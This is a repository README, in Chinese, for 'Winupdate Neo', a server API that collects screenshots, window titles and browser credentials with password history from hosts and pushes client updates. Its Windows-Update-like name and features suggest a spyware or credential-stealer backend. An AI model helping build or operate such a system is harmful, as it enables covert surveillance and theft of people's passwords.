2025-06-28 15:16:06 +08:00
2025-06-28 15:16:06 +08:00
2025-06-28 15:16:06 +08:00
2025-06-28 15:16:06 +08:00
2025-06-28 15:16:06 +08:00
2025-06-28 15:16:06 +08:00
2025-06-28 15:16:06 +08:00
2025-06-28 15:16:06 +08:00
2025-06-28 15:16:06 +08:00
2025-06-28 15:16:06 +08:00
2025-06-28 15:16:06 +08:00
2025-06-28 15:16:06 +08:00

Winupdate Neo

这是使用 Next.js + Prisma + PostgreSQL 重写的 Winupdate 项目的 API 部分。

技术栈

  • 前端框架: Next.js 15
  • 数据库: PostgreSQL + Prisma ORM
  • 包管理器: Bun
  • 文件存储: 本地文件系统(替代 GridFS
  • 语言: TypeScript

项目结构

app/
├── api/                    # API 路由
│   ├── hosts/
│   │   ├── route.ts       # 主机列表 API
│   │   └── [hostname]/
│   │       ├── screenshots/
│   │       │   └── route.ts  # 截图上传/获取 API
│   │       ├── credentials/
│   │       │   └── route.ts  # 凭据管理 API
│   │       └── time-distribution/
│   │           └── route.ts  # 时间分布统计 API
│   ├── screenshots/
│   │   └── [fileId]/
│   │       └── route.ts   # 截图文件服务 API
│   ├── downloads/
│   │   └── [fileId]/
│   │       └── route.ts   # 文件下载 API
│   ├── version/
│   │   └── route.ts       # 版本信息 API
│   └── upload/
│       └── version/
│           └── route.ts   # 版本上传 API
├── api-test/              # API 测试页面
└── ...                    # 其他 Next.js 文件

lib/
├── prisma.ts              # Prisma 客户端配置
├── config.ts              # 应用配置
├── fileStorage.ts         # 文件存储工具
├── middleware.ts          # 中间件工具
└── push.ts                # 推送通知工具

prisma/
├── schema.prisma          # 数据库模式
└── migrations/            # 数据库迁移文件

快速开始

1. 安装依赖

bun install

2. 配置环境变量

复制 .env.example 文件为 .env 并配置相应的设置:

cp .env.example .env

配置文件内容示例:

# Database
DATABASE_URL="postgresql://username:password@localhost:5432/winupdate_neo?schema=public"

# Auth
AUTH_USERNAME=admin
AUTH_PASSWORD=password

# Port
PORT=3000

# MinIO Configuration
MINIO_ENDPOINT=192.168.5.13
MINIO_PORT=9000
MINIO_USE_SSL=false
MINIO_ACCESS_KEY=your_access_key
MINIO_SECRET_KEY=your_secret_key
MINIO_BUCKET_NAME=winupdate

3. 初始化数据库

# 生成 Prisma 客户端
bun run db:generate

# 运行数据库迁移
bun run db:migrate

4. 启动开发服务器

bun run dev

API 端点

主机管理

  • GET /api/hosts - 获取主机列表
  • POST /api/hosts/{hostname}/screenshots - 上传截图
  • GET /api/hosts/{hostname}/screenshots - 获取截图记录
  • GET /api/hosts/{hostname}/time-distribution - 获取时间分布统计

凭据管理

  • POST /api/hosts/{hostname}/credentials - 上传凭据
  • GET /api/hosts/{hostname}/credentials - 获取凭据

文件服务

  • GET /api/screenshots/{fileId} - 获取截图文件
  • GET /api/downloads/{fileId} - 下载文件

版本管理

  • GET /api/version - 获取最新版本信息
  • POST /api/upload/version - 上传新版本

数据库模型

Host

  • 主机基本信息hostname, lastUpdate

Record

  • 截图记录timestamp, windows, screenshots

Window

  • 窗口信息title, path, memory

Screenshot

  • 截图文件信息fileId, filename, monitorName

Credential

  • 凭据信息hostname, username, browser, url, login

Password

  • 密码历史value, timestamp

Version

  • 版本信息version, fileId, checksum, isLatest

与原项目的区别

  1. 数据库: 从 MongoDB 迁移到 PostgreSQL
  2. ORM: 使用 Prisma 替代 Mongoose
  3. 文件存储: 使用本地文件系统替代 GridFS
  4. 框架: 从 Express 迁移到 Next.js API Routes
  5. 包管理: 使用 Bun 替代 npm/yarn

开发工具

# 数据库相关
bun run db:generate    # 生成 Prisma 客户端
bun run db:migrate     # 运行数据库迁移
bun run db:reset       # 重置数据库
bun run db:studio      # 打开 Prisma Studio

# 开发
bun run dev           # 启动开发服务器
bun run build         # 构建生产版本
bun run start         # 启动生产服务器
bun run lint          # 代码检查

注意事项

  1. 文件存储在 MinIO 对象存储中,按分层结构组织
  2. 需要确保 PostgreSQL 数据库和 MinIO 服务正在运行
  3. 所有配置通过环境变量管理,包括数据库、认证和 MinIO 设置
  4. MinIO 需要预先创建对应的 bucket
  5. 推送通知功能目前只是控制台日志,可以根据需要集成真实的推送服务

API 兼容性

这个重写版本保持了与原始 Express 应用相同的 API 接口,确保客户端代码无需修改即可使用。

Description
No description provided
Readme 19 MiB
Languages
TypeScript 95.9%
Batchfile 2.1%
JavaScript 1.7%
CSS 0.3%